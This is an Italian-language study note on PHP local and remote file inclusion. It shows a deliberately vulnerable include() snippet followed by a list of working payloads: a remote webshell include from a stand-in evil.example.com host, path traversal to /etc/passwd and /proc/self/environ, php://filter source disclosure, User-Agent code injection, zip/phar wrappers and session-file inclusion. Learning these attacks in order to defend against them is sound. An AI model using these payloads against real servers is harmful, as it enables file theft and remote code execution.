Avviene qunado un'applicazione web scarica ed esegue un file remoto ottenuto da un form HTTP o un FTP mediante parametri inseriti dall'utente.
Come sopra ma i file remoti sono già sul server
La causa in PHP è la non validazione dello user input gestiti mediante un include
o un require
.
Il linguaggio pHP ha delle direttive che se abilitate permettono al filesystem di usare URL per prelevare dati la remoto.
Queste direttive sono allow-url-fopen
e allow-url-include
che prima della dalla verisone 5.x eranno abilitate di default.
Per fare l'exploit l'utente modifica la variabile passata a queste funzioni includendo codice malevolo.
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
Lo sviluppatore intende caricare la pagina english.php o french.php.
Questo può essere sfruttato per:
/pagina.php?language=http://evil.example.com/webshell.txt?
inietto un file remoto contenente codice malevolo
/pagina.php?language=C:\\ftp\\upload\\exploit
eseguo codice già caricato sulla macchina remota in questo caso exploit.php
index.php?file=php://filter/convert.base64-encode/resource=config
aggiunge ".php" alla fine e permette di leggere i file php
/pagina.php?language=C:\\notes.txt%00
- utilizzando NULL meta character %00 rimuovo il suffisso php accedendo a file diversi da quelli php.
/pagina.php?language=../../../../../etc/passwd%00
sui sistemi linux permette di leggere il file /etc/passwd
/pagina.php?language=../../../../../proc/self/environ%00
sui sistemi linux permette di leggere il file proc/self/environ
Permette di eseguire del codice:
GET /index.php?file=/proc/self/environ&cmd=id HTTP/1.1
Host: www.site.com
User-Agent: <?php echo assert($_GET['cmd']);?>
index.php?file=zip://image.zip#shell.php
index.php?file=phar://image.phar/shell.php
il PHP5 salva i file in /var/lib/php5/sess_*
Cookie: PHPSESSID=123php # /var/lib/php5/sess_123php
index.php?file=/var/lib/php5/sess_123php
http://example.com/include/include2.php?file=zip://test.zip%23test
https://lightless.me/archives/include-file-from-zip-or-phar.html
Sembrerebbe che facendo una compressione "only store" del file php in zip possa somigliare a un file .jpg
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):
<?php
$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
while( !feof($fp) ){
echo fread($fp, 8192);
}
fclose($fp);
}
?>
-
Markdown-Cheatsheet Guida per scrtivere questo documento